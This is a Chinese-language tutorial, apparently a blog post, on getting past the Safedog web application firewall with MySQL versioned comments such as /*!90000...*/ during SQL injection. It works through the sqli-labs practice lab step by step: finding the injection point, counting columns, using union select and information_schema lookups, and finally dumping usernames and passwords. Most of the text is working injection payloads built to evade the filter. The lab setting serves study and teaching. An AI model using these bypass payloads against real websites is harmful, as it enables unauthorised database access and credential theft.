waf常见绕过方法
1.注释
/*xxx*/:在mysql里,多行注释是/**/,这个是sql的标准
例如: /*wodemaya*/ 。里面的内容被注释了则不会执行。只是有样子而已
/*!xxx*/:在msql中扩展了注释的功能,假如在起头的/*加上!号,那么意思!后面的内容将被执行
例如:/*!wodemaya*/。那么里面的wodemya将会被执行
/*!50000xxx*/: 这里的50000表示的是假如,如果等于或者高于5.00.00以上的数据库版本,则改语句才会执行。如果不满足不执行
常见用法 /*!90000xxx*/ 故意写一个不存在的数据库版本,让他里面的语句不执行,用于绕过waf的过滤
2.案例演示
安全狗+sqlibase第一关
1.判断闭合方式,判断是否存在注入点
?id=1' and/*!400001=1*/ --+
扫描二维码关注公众号,回复: 14914796 查看本文章或者
?id=1' and/*!1*/=/*!1*/--+
判断是字符型还是数字型
首先先给一个值
页面正常回显
方法一:使用减号进行判断
输入10-1页面没有变动,如果是数字型的话,页面则会变动。确定是字符型
方法二(使用and 进行判断)
我们直接输入and 1=1 被拦截了
现在要做的就是判断他在哪里进行的过滤。
输入and 页面回显正常没有被安全狗拦截
当输入1的时候被安全狗拦截了。
在and 后面输入b发现没有被拦截
个人判断他可能在and的后面不能跟数字,可以跟字符
尝试使用/**/注释绕过安全狗
在and和1=1的中间插入注释过,打乱他的规则
从页面显示失败了
尝试使用/*!*/绕过
使用/*!*/强制执行这个语句,可以看出/*!*/这个注释没有被过滤。
但是/*!caonima*/里面这个语句,是个错误的语句。执行了没有用
那么我们就吧1=1放在/*1*/里面去让他强制执行
但是把/*!1=1*/放在/*!*/里面还是被拦截了
使用/*!400001=1*/进行绕过
从页面显示成功了,没有被安全狗拦截
确定闭合方式
先使用单引号进行闭合,然后将后面的内容注释掉,使用and1=1进行判断
url:?id=1' and/*!400001=1*/ --+
在使用and 1=2 的时候报错,说明存在注入点
2.确定数据库字段
?id=1' group by 3--+
?id=1'order/*!90000caonima*/by/*!90000caonima*/3--+
这一步我不知道为啥我的安全狗,没有进行拦截,我下载了好几个版本的安全狗这一关对order by都没有进行 拦截。所以那啥如果这一步不行的话,大家可以参考别人的方法
。其实绕过的思路都是一样的
输入order by 4的时候确定没有4个字段
3的时候页面正常回显。确定一共3个字段
3.确定字段的回显位
?id=-1' union/*!90000caonima*/Select 1,2,3 --+
直接输入union select 1,2,3直接被拦截
还是老样子,一步一步的测试。看他在哪里进行过滤
url:?id=1' union --+
当输入union的时候页面正常,没有被拦截
当输入select的时候被拦截
再次使用/*!*/的方式进行绕过
页面正常回显,确定2,3字段回显
4.确定数据库名
?id=-1' union/*!90000caonima*/select 1,2,database(/*!90000caonimabi*/)--+
?id=-1' union/*!90000caonima*/select 1,2,database/*!(*/ /*!)*/) --+
被拦截
当输入database的时候没有被拦截
还是使用/*!*/进行绕过
第一种
/*!(*/ /*!)*/
被拦截
第二种
(/*!90000caonimabi*/)
页面正常回显数据库名
security
5.获取数据表
?id=-1' union/*!90000caonima*/select 1,2,group_concat(table_name)from
information_schema.tables where table_Schema=database(/*!90000caonima*/) --+
直接被过滤
还是老样子,一个单词一个单词的写,最终发现在database()这个位置进行的过滤
成功绕过
6.获取字段
?id=-1' union/*!90000caonima*/select 1,2,group_concat(column_name)from
information_schema.columns where table_Schema=database(/*!90000caonima*/)/*!90000caonima*/and/*!90000caonima*/table_name="users" --+
被拦截
使用/*!*/绕过
成功绕过
7.拖库
?id=-1' union/*!90000caonima*/select 1,2,group_concat(username,'--',password)
from security.users --+
绕过 方式千万种,不是只有这一种方式